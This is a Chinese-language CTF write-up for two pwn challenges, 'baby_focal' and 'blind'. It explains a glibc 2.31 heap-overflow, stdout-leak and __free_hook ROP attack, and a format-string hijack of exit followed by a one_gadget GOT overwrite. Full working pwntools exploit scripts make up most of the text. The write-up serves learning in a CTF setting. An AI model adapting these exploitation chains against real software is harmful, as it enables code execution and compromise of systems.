baby_focal

glibc 2.31 ,没有 PIE ,没有输出功能,开沙盒的堆溢出:

image-20210526162806516

没有输出功能思路基本都是攻击 stdout 泄露出 libc 地址,这条题目分配函数用的是 calloc ,相当于没有 tcache 存在的,攻击思路和 glibc 2.23 一样。然后就是利用 free_hook 栈迁移到堆上的 orw 。

思路

  1. 填满 tcache 之后,利用堆溢出形成堆重叠,形成两个指向同一个地址的指针。注意需要在第一个 unsortedbin 前面布置一个堆,用来修改 size 来绕过保护。

  2. 两个同一地址的指针,在 fastbin 写入 main_arena_xx 地址,爆破 1/16 到 stdout 上方,利用错位构造出符合 fastbin 的 size 位。

    这篇文章末尾中有提及:http://blog.eonew.cn/archives/1190

  3. 修复 unsortedbin 恢复分配释放功能。利用堆溢出劫持 fastbin fd 指针将堆分配到堆指针数组(需要提前布置 size 绕过保护),实现任意地址写。

  4. 将 free_hook 劫持为 puts ,泄露出堆地址。

  5. 布置好两个堆,将 free_hook 劫持为 libc 控制 rbp 的 gadget 栈迁移到堆。

    两个堆内容参考:https://www.mrskye.cn/archives/b88f4a53/#ParentSimulator ,第一个堆填充长度需要调整一下。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
#encoding:utf-8
from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']

def name(name):
p.sendlineafter("name: ",name)
def add(id,size):
p.sendlineafter(">> ",str(1))
p.sendlineafter(">> ",str(id))
p.sendlineafter(">> ",str(size))
def edit(id,content):
p.sendlineafter(">> ",str(2))
p.sendlineafter(">> ",str(id))
p.sendafter(">> ",content)
def delete(id):
p.sendlineafter(">> ",str(3))
p.sendlineafter(">> ",str(id))
def free(id):
p.sendlineafter(">> ",str(3))
p.sendlineafter(">> ",str(id))

def exp():
name("skye")
'''
for _ in range(8):
add(0,0x68)
delete(0)
add(0,0x68)
add(1,0x68)
delete(1)
edit(0,'a'*0x68+p64(0x71)+p64(0x404060))
add(1,0x68)
add(2,0x68)
'''
# fill tcache
for i in range(7):
add(0,0x68)
free(0)
for i in range(7):
add(0,0x200)
free(0)
add(0,0x68)
add(1,0x200)
add(2,0x68)
add(3,0x200)
add(4,0x250)#protect

#堆重叠
delete(1)
edit(0,'a'*0x68+p64(0x281)+'\n')#corrupted size vs. prev_size while consolidating
edit(2,'a'*0x60+p64(0x280)+p64(0x210)+'\n')
delete(3)
delete(2)
add(1,0x208)

# _IO_2_1_stderr_ = libc.sym['_IO_2_1_stderr_']
# log.info("_IO_2_1_stderr_:"+hex(_IO_2_1_stderr_))
# _IO_2_1_stdout_ = libc.sym['_IO_2_1_stdout_']
# log.info("_IO_2_1_stdout_:"+hex(_IO_2_1_stdout_))
# target = _IO_2_1_stderr_+0xa0+5-8
# log.info("target:"+hex(target))

#fastbin attack
#0x7ffff7fad65d
edit(1,'b'*0x200+p64(0)+p64(0x71)+"\x5d\xd6"+'\n')
add(2,0x68)
add(3,0x68)
edit(3,'a'*0x33+p64(0xfbad1887)+p64(0)*3+p8(0)+'\n')
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-(0x7ffff7fac980-0x7ffff7dc1000)
log.info("libc_base:"+hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
log.info("free_hook:"+hex(free_hook))

# edit(2,p64(0x7ffff7facbe0)*2+'\n')
edit(2,p64(libc_base + (0x7ffff7facbe0-0x7ffff7dc1000))*2+'\n')
# fix unsortedbin
edit(1,'a'*0x208+p64(0x281)+'\n')
delete(0)
delete(4)
add(4,0x68)
add(0,0x68)
delete(4)
delete(0)
edit(2,p64(0x404080)+'\n')
add(4,0x68)
add(0,0x68)
edit(0,p64(0x404060)+p64(0x218)+'\n')
edit(3,p64(free_hook)+p64(0x10)+p64(0x404080)+'\n')
edit(0,p64(libc_base+libc.sym['puts'])+'\n')
delete(1)
p.recvuntil('\n')
heap_addr = u64(p.recv(3).ljust(8,'\x00'))
log.info("heap_addr:"+hex(heap_addr))

libc_gadget = libc_base+0x0000000000157d8a
pop_rdi_ret = libc_base+0x0000000000026b72
pop_rsi_ret = libc_base+0x0000000000027529
pop_rdx_r12_ret = libc_base+0x000000000011c371
leave_ret = libc_base+0x000000000005aa48
add_rsp_0x18_ret = libc_base+0x000000000003794a
open_addr = libc_base+libc.sym['open']
read_addr = libc_base+libc.sym['read']
tcache_struct = heap_addr-0x6d0
log.info("tcache_struct:"+hex(tcache_struct))

edit(3,p64(free_hook)+p64(0x10)+p64(heap_addr-(0x40c6d0-0x40c240))+p64(0x200)+p64(heap_addr-(0x40c6d0-0x40c4b0))+p64(0x200)+'\n')
edit(0,p64(libc_gadget)+'\n')

# free chunk payload
payload="./flag\x00\x00\x00".ljust(0x38+0x10,'a')
payload += p64(heap_addr-(0x40c6d0-0x40c4b0)) #ropchunk
payload += p64(leave_ret)
edit(1,payload+'\n')

# ropchain chunk payload
payload =p64(0xdeadbeefdeadbeef)+p64(add_rsp_0x18_ret)
payload+=p64(0xdeadbeefdeadbeef)+p64(heap_addr-(0x40c6d0-0x40c240)+0x28)
payload+=p64(0xdeadbeefdeadbeef)
payload+=p64(pop_rdi_ret)+p64(heap_addr-(0x40c6d0-0x40c240)) #"flag" in chunk
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_r12_ret)+p64(0)*2
payload+=p64(open_addr)

payload+=p64(pop_rdi_ret)+p64(3)
payload+=p64(pop_rsi_ret)
payload+=p64(tcache_struct+0x400)
payload+=p64(pop_rdx_r12_ret)+p64(0x50)+p64(0)
payload+=p64(read_addr)

# payload+=p64(pop_rdi_ret)
# payload+=p64(tcache_struct+0x400)
# payload+=p64(puts)
payload+=p64(pop_rdi_ret)
payload+=p64(1)
payload+=p64(pop_rsi_ret)
payload+=p64(tcache_struct+0x400)
payload+=p64(libc_base+libc.sym['write'])
edit(2,payload+'\n')

# 0x7ffff7facbe0
log.info("libc_gadget:"+hex(libc_gadget))
# gdb.attach(p,"b *0x4018EF")
# raw_input()

delete(1)

flag = p.recv()
if("flag" in flag):
print(flag)
sleep(1000000000);

p.interactive()

if __name__ == '__main__':
p = process("./baby_focal")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./baby_focal")
# p = process("./BabyNote")
# libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# p = remote("8.134.14.168", 10000)
# libc = ELF("./libc-2.31.so")
while True:
try:
exp()
exit(0)
except:
p.close()
# p = remote("8.134.14.168", 10000)
p = process("./baby_focal")

相关资料

blind

关闭 canary 和 PIE ,存在格式化字符串漏洞、栈溢出:

image-20210527233833264

image-20210527233817181

一开始思路是想着让 read 返回值是 0 ,也就是输入 EOF 信号,然后到后门函数栈溢出完事。可是 scanf 输入的不能溢出修改 v3 的随机数 GG。最后参考 WM 思路:利用格式化字符串劫持 exit 函数内一条 call 指令调用后门函数,实现栈溢出。

image-20210527234831762

  • 一系列命令后最后调用 r12+rdx*8。正常情况下 rdx 为 0 ,r12 指向函数地址

  • R12 来源路径:从 rax+8 作为初值,然后加上 rbx 指向的值

    • rax+8 是一个 bss 的地址,即 r12 初值是一个 bss 段地址
    • rbx 指向的是一个栈上地址

    image-20210527235329907

    控制 rbx 在栈上的值,将指令最后指向提前再 bss 段写入的后门地址完成调用。

思路

  1. 利用格式化字符串修改 exit 函数中 rdx 对应栈位置为预定值,并在同时写入后门地址
  2. 利用栈溢出构造一个 read 劫持某个函数 got 表为 onegadget ,需要爆破 1/16

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
import tty
context.log_level='debug'
context.terminal=['tmux','sp','-h']
p = process("./blind")
elf = ELF("./blind")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")


p.recvuntil("???\n")
# gdb.attach(p,"b *0x400980")
# gdb.attach(p,'b *0x400929')
# raw_input()

p.send("%"+str(0x2b3)+"c%26$hn"+p64(0x400913))

sleep(0.2)

pop_rdi_ret = 0x0000000000400a43
pop_rsi_r15_ret = 0x0000000000400a41

payload = 'a'*(0x38)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(elf.got['read'])*2
payload += p64(elf.plt['read'])*2
p.send(payload)

'''
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL

0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''

sleep(0.5)
p.send(p16(0x8364)+'\x00')

p.interactive()